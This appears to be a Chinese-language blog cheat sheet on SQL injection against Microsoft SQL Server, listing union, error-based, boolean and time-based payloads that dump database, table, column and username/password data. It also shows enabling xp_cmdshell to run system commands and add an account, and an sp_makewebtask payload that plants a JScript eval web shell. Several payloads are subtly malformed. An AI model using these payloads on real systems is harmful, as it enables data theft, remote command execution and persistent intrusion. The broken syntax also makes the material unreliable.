MSSQL注入

MSSQL 

  视图可以随意删除,而表的删除会导致数据丢失

  4个系统数据库,分别是master数据库、model数据库、tempdb数据库、msdb数据库是整个mssql的核心

  master数据库(重要):控制mssql所有方面。

  master这个数据库中包括所有的配置信息,用户登录信息、当前服务器运行的相关信息

  

  角色:服务器角色 和 数据库角色

  服务器角度:

  sa账号(服务器权限,对系统也有最高权限),默认9组角色

 

  判断是否为服务器权限:and 1=(select is_srvrolemember('sysadmin'))

  判断是否为数据库权限:and 1=(select is_member('db_owner'))

  

  sys.databases:mssql中所有的数据库

  information_schema.tables 数据库中的表

  information_schema.columns 数据库中的列

 

 

联合注入

  注释:-- 没有空格

  order by 可用

  获取数据版本信息:@@version

  获取当前数据库名:db_name()

  查询当前数据库的表名:select*from information_schema.tables

  查询test数据库的表名:select*from test.information_schema.tables

  获取当前数据库的表名

id=-1' union select top 1 1,2,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)

  获取当前数据库的列名

id=-1' union select top 1 1,2.column_name from information_schema.columns where table_name='users'and column_name not in(select top 1 column_name from information_schema.columns where table_name='users')

  获取当前数据库的列名

id=-1' union select top 1 1,username,password from users where username not in(select top 1 username from users) and password not in(select top 1 password from users)

 

 

报错注入

  ?id=1' and 1=(db_name())--  报错原因是:类型转换造成

  判断数据库角色是否为db_owner:?id=1' and 1=(is_member('db_owner'))-- 可以通过备份写webshell

  判断用户名?id=1' and user_name()>0--

  获取第一个数据库名:?id=1' and 1=(select name from master.sys.databases where database_id=1)>0 --

  计算数据库的总数:?id=1' and 1=(select quotename(count(name))from master.sys.databases) --

  获取当前数据库所有表名:

?id=1' and 1=(select quotename(table_name)from information_schema.tables for xml path(''))--

  一次性获取所有的数据库名:

?id=1' and 1=(select quotename(name)from master.sys.databases for xml path(''))--

  一次性获取test库下的所有表名:

?id=1' and 1=(select quotename(table_name)from test.information_schema.tables for xml path(''))--

  一次性获取test库下的users表的所有列

?id=1' and 1=(select quotename(column_name)from test.information_schema.columns where table_name='users' for xml path(''))--

  获取数据1:?id=1' and 1=(select quotename(username),quotename(password) from users for xml path('')) --

  获取数据2,这里不能读取2列:

?id=1' and 1=(select quotename(password) test.information_schema.columns where table_name='users' xml path('')) --

   

通过扩展存储过程拿shell

  前提条件是,数据库是db_owner权限

  xp_cmdshell直接执行系统命令、xp_regread进行注册表读取

  xpregwrite写入注册表、xp_dirtree进行列目录操作、xp_ntsec_en

  xp_cmdshell默认在mssql2000中是默认开启的,在mssql2005之后的版本默认禁用

  绕过拥有管理员权限sysadmin权限,则可以通过sp_configure重新开启

  

  查询xp_cmdshell扩展是否开启

  ?id=1' and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--  开了的话会返回1,and 1=1

  ?id=1';exec sp_configure 'show advanced options',1;--  开启扩展存储1表示开

  ?id=1';exec sp_configure 'xp_cmdshell',1;--  开启xp_cmdshell

  ?id=1';reconfigure;-- 重启扩展

  ?id=1';exec xp_cmdshell 'net admin admin123 /add'--

  

  Getshell手法1  sp_makewebtask  win2008

  ?id=1' and 1=(select count(*) from master.sys.sysobjects where name='sp_makewebtask')--

  id=1';exec sp_makewebtask '绝对路径','select "<%@PageLanguage="Jscript"%><%eval(Request.Item["z"],"unsafe");%>"'

  redesktop

  

  Getshell手法2

  差异备份getshell

  https://www.cnblogs.com/-qing-/p/10910282.html

 

bool注入

  代码示例:?id=1' and len((@@version))>10000-- 通过判断页面变化

 

时间延时注入

  代码示例:?id=1' if(len(@@version)>1) waitfor delay '0:0:3' --

 

 

 

持续更新

  

  

  

  

posted @ 2021-09-08 21:04  PatrickStar88888888  阅读(269)  评论(0编辑  收藏  举报